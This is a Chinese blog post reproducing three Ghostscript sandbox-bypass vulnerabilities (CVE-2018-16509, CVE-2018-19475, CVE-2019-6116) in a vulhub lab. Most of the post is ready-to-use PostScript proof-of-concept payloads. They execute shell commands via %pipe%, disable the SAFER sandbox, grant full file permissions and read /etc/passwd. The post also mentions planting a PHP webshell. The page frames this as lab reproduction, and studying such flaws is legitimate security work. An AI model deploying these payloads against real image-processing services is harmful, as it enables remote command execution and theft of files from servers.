栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

vulhub漏洞复现-Imagemagick(CVE-2018-16509/19475 / 2019-6116)GhostScript沙箱绕过

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

vulhub漏洞复现-Imagemagick(CVE-2018-16509/19475 / 2019-6116)GhostScript沙箱绕过

Ghostscript

Ghostscript 被许多图片处理库所使用,如 ImageMagick、Python PIL 等,默认情况下这些库会根据图片的内容将其分发给不同的处理方法,其中就包括 Ghostscript。通过构造恶意的图片内容,就可以进行命令执行、文件读取、文件删除等等的操作。而这三个不通CVE只是利用的POC不同,其方法大同小异。

差异

CVE-2018-16509:Ghostscript9.24之前版本
CVE-2018-19475:Ghostscript9.26之前版本
CVE-2019-6116 :ghostscript 尚无 release 版本发布
commit c47512e5e638d903d69925f7ebab4de2aa3f481f 之前的版本均受到影响
ghostscript作为图像处理格式转换的底层应用。
漏洞导致所有引用ghostscript的上游应用受到影响。 涉及但不限于:
imagemagick
libmagick
graphicsmagick
gimp
python-matplotlib
texlive-core
texmacs
latex2html
latex2rtf 等

思路

Ghostscript会处理经Postscript处理的图片内容,如果构造出夹杂着恶意指令的Postscript语句让它处理,它就会去执行,所以直接用已经搞好的poc。

复现 CVE-2018-16509
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/test) currentdevice putdeviceprops

后台进入容器中发现创建成功

docker ps 
docker exec -it  bash
ls /tmp


再次手动写入php一句话木马

echo '' > /var/www/html/test.php

或者页面进行命令执行

md不知道这样为什么写不进去

CVE-2018-19475

POC

%!PS

0 1 300367 {} for

{save restore} stopped {} if

(%pipe%touch /tmp/test) (w) file
CVE-2019-6116

POC

%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def

/exploit {
    (Stage 11: Exploitation...)=

    /forceput exch def

    systemdict /SAFER false forceput
    userparams /LockFilePermissions false forceput
    systemdict /userparams get /PermitFileControl [(*)] forceput
    systemdict /userparams get /PermitFileWriting [(*)] forceput
    systemdict /userparams get /PermitFileReading [(*)] forceput

    % update
    save restore

    % All done.
    stop
} def

errordict /typecheck {
    /typecount typecount 1 add def
    (Stage 10: /typecheck #)=only typecount ==

    % The first error will be the .knownget, which we handle and setup the
    % stack. The second error will be the ifelse (missing boolean), and then we
    % dump the operands.
    typecount 1 eq { null } if
    typecount 2 eq { pop 7 get exploit } if
    typecount 3 eq { (unexpected)= quit }  if
} put

% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable errays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<<
    /typecount      0
    /PDFfile        { (Stage 0: PDFfile)= currentfile }
    /q              { (Stage 1: q)= } % no-op
    /oget           { (Stage 3: oget)= pop pop 0 } % clear stack
    /pdfemptycount  { (Stage 4: pdfemptycount)= } % no-op
    /gput           { (Stage 5: gput)= }  % no-op
    /resolvestream  { (Stage 6: resolvestream)= } % no-op
    /pdfopdict      { (Stage 7: pdfopdict)= } % no-op
    /.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
    /pdfdict        { (Stage 9: pdfdict)=
        % cause a /typecheck error we handle above
        true
    }
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop

(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=

% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile

(Attempting to execute a shell command...)= flush

% run command
(%pipe%touch /tmp/test) (w) file closefile

(All done.)=

quit
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/283525.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号